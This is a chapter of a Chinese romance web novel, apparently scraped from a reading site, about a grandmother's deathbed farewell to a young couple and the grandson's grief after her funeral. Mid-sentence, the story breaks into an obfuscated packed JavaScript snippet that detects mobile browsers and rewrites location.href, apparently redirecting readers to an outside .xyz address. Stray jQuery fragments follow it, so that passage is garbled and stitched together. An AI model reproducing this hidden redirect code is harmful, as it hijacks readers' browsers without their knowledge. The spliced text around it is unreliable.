第 156章 找了个亲人

作品:《暗恋他的第十一年春

    沈珠楹蹲在原地,缓了好一会儿,这才一步一步地走进去。


    周清兰正在跟傅珩说话。


    “傅珩,你这个人啊,是完完全全随你爸了,性格冷淡又强势,总是不会表达感情,你这种性格……也就婉君,她坚持了这么多年。”


    “妈,我错了妈,您看着我改,您看着我改……”


    傅珩此时懊恼交加,他也是突然意识到,自从大儿子去世,妻子精神状态不好以后,他忽视了太多太多,或者说,一直以来,他对此都不屑一顾。


    “晚了,晚了……”周老太太一声叹息,又看向陈婉君,“婉君,你想跟他离婚,那就离,奶奶支持你,你这些年……也不容易,只是苦了我们阿灼……”


    “妈,对不起,我对不起你……”陈婉君摇头,拉着周清兰的手,泣不成声。


    “怎么会对不起呢?婉君,你独自一人培养出来的两个儿子,那么优秀,那么善良。”


    在傅斯华去世之前,傅珩的心里除了工作,再装不下其他。


    只有在傅斯华去世以后,才又多了一个陈婉君。


    他是一个合格的管理者,但不是一个合格的儿子,不是一个合格的丈夫,更不是一个合格的父亲。


    “阿珩啊阿珩,怎么总是慢半拍……”周清兰脸上浮现了一抹追忆之色,惆怅道,“怎么跟你爸一样,总是慢半拍……”


    她远远看向站在不远处,早已泣不成声的沈珠楹,笑了,说:“笑起来漂亮的,爱穿裙子的,身上有花香的那个姑娘,别害怕,过来,再让奶奶看看你。”


    “奶奶……”沈珠楹乖巧擦掉眼泪,走到病床前,握住她的手,“奶奶……”


    “我的珠珠啊。”周清兰说,“这么好的姑娘,我给我们阿灼找到了。”


    “是啊,奶奶,您真厉害。”沈珠楹还是忍不住落泪,说,“我们再多说说话好不好,傅斯灼马上就要过来了,等他过来,我们一起去买漂亮的裙子,还是让傅斯灼买单,好不好?”


    “要等的。”周清兰说,“要等的,我们阿灼啊,总要有人等的。”


    时间一分一秒地过去,周清兰很困了,只是沈珠楹一直在她耳边说话,像只焦急哭泣的小麻雀。


    可是时间啊,它最不等人。


    周清兰艰难开口道:“珠珠,等我死后,你们的婚礼……要如期举行,不要为我延期。”


    “那时我魂魄未散,假如有蝴蝶停在肩头,就是我来看你们了……”


    假如人死前真的有走马观灯的话,周清兰其实很高兴自己最后能看到这些。


    刚出生时小小的一个,被她抱在手心,看着一碰就能化的阿灼。


    一岁时牙牙学语,第一次开口是喊奶奶的阿灼。


    五岁时人还没有架子鼓高,却总是努力踮着脚去够的阿灼。


    八岁时英语不及格,偷偷躲在浴室里哭的阿灼。


    十六岁时在她生日那天,笑着给她弹《美丽女人》的阿灼。


    于是周清兰迷蒙的视线中再次闯入一个沉稳又高大的背影,透着掩饰不住的慌乱与害怕。


    是后来许多年的阿灼。


    阿灼啊。


    周清兰溢出一丝叹息。


    奶奶总是会想,为什么会这样呢?好像没有人的成长比你更快。


    “奶奶,我是阿灼……”傅斯灼半跪在病床前,全身都被大雨淋湿,他握着周清兰的手放到脸侧,蹭了蹭,说,“奶奶,您再睁开眼看看我,奶奶……”


    “阿灼啊……“周清兰于是努力睁开眼,满足地笑了,“奶奶说了,要等的……”


    我们阿灼,要有人等的。


    周清兰眼睛突然亮了许多,也有了些力气。


    她拉着沈珠楹的手,又拉过傅斯灼的手,交叠在一起。


    看两只手上的戒指闪闪发光,她满意地笑了。


    “奶奶再也逛不动商场了。”周清兰说,“你们两个手牵着手,要一直一直往前走,别为我难过太久,知道吗?”


    沈珠楹哭着点了点头。


    “知道的,我知道的,奶奶。”


    傅斯灼红着眼眶,将额头抵在周清兰苍老的掌心,轻声道:“我会的,奶奶。”


    “这样就好,这样就好……”


    周清兰缓缓闭上了眼睛,眼角一滴清泪滑落。


    “老头子,阿华,我过来看你们了,你们放心,我给我们阿灼,又找了一个亲人。”


    她最后仍然满足呢喃,重复道。


    “我给我们阿灼,又找了一个亲人……”


    嘀————


    刺耳的一声响,心电图骤停。


    然而窗外瓢泼大雨,电闪雷鸣,仍然未停。


    这场春雨久旱逢甘霖,滋养了这片土地上千千万万


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477343|166611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的人们,来日春暖花开,姹紫嫣红,又是好天气。


    但是有人被困在了十八岁那年的夕阳下,也被困在了二十七岁那年的大雨里。


    沈珠楹知道。


    沈珠楹亲眼见证——


    二零二五年三月七日十六时二十四分,大雨。


    她最爱的少年,缺失了他人生中的第四块拼图。


    周清兰的葬礼遵照她的遗嘱,办得很简单,只有她生前的三五好友过来吊唁。


    傅珩受到的打击似乎要比傅斯灼大得多,他把自己关起来,几乎闭门不出。


    傅斯灼仍然神色平淡,有条不紊地操持着这一切。


    葬礼结束后,一切仿佛恢复了正常。


    傅斯灼看上去也很正常。


    但是沈珠楹有点害怕这种正常。


    那天他送完过来吊唁的最后一批人,天已经黑了。


    沈珠楹进去给他倒了一杯水,再出来的时候,傅斯灼倚坐在不远处的长亭内,黑衣黑裤,白绫飘荡,沉默地望着远处的地平线。


    太阳洒下最后一缕余晖。


    沈珠楹鼻子一酸,又落下泪来。


    “傅斯灼。”沈珠楹想也没想,跑过去抱住他,带着哭腔,说,“傅斯灼,你想哭就哭出来啊。”


    “你要哭出来啊,傅斯灼。”


    “珠珠。”傅斯灼长臂收紧,充满依恋地紧紧抱着她,摇了摇头,说,“我哭不出来,真的。”


    “那傅斯灼……你要怎么办啊傅斯灼?”


    沈珠楹只跟周清兰相处不到一年,现在都觉得自己心脏被紧紧揪着,很疼很疼。


    那你要怎么办啊,傅斯灼?


    她语气急得不行。


    “别为我担心,珠珠。”傅斯灼轻揉她的后颈,语气缓慢又温柔,“你知道吗?奶奶曾经对我说,每个人都会死亡三次,只是死亡时间到来的长或短而已,我唯一要学会的,是接受。”


    “那你学会了吗?傅斯灼。”


    如果真的学会了,那么学费,是不是太过昂贵了。


    傅斯灼沉默良久,摇了摇头,说:“没有。”


    是他太愚钝了。


    “沈珠楹。”他闭眼,脑袋搭在她的肩颈,声音低得不能再低了。


    “没有,沈珠楹。”


    你说,人到底要面对多少次死亡,才能在它面前保持体面。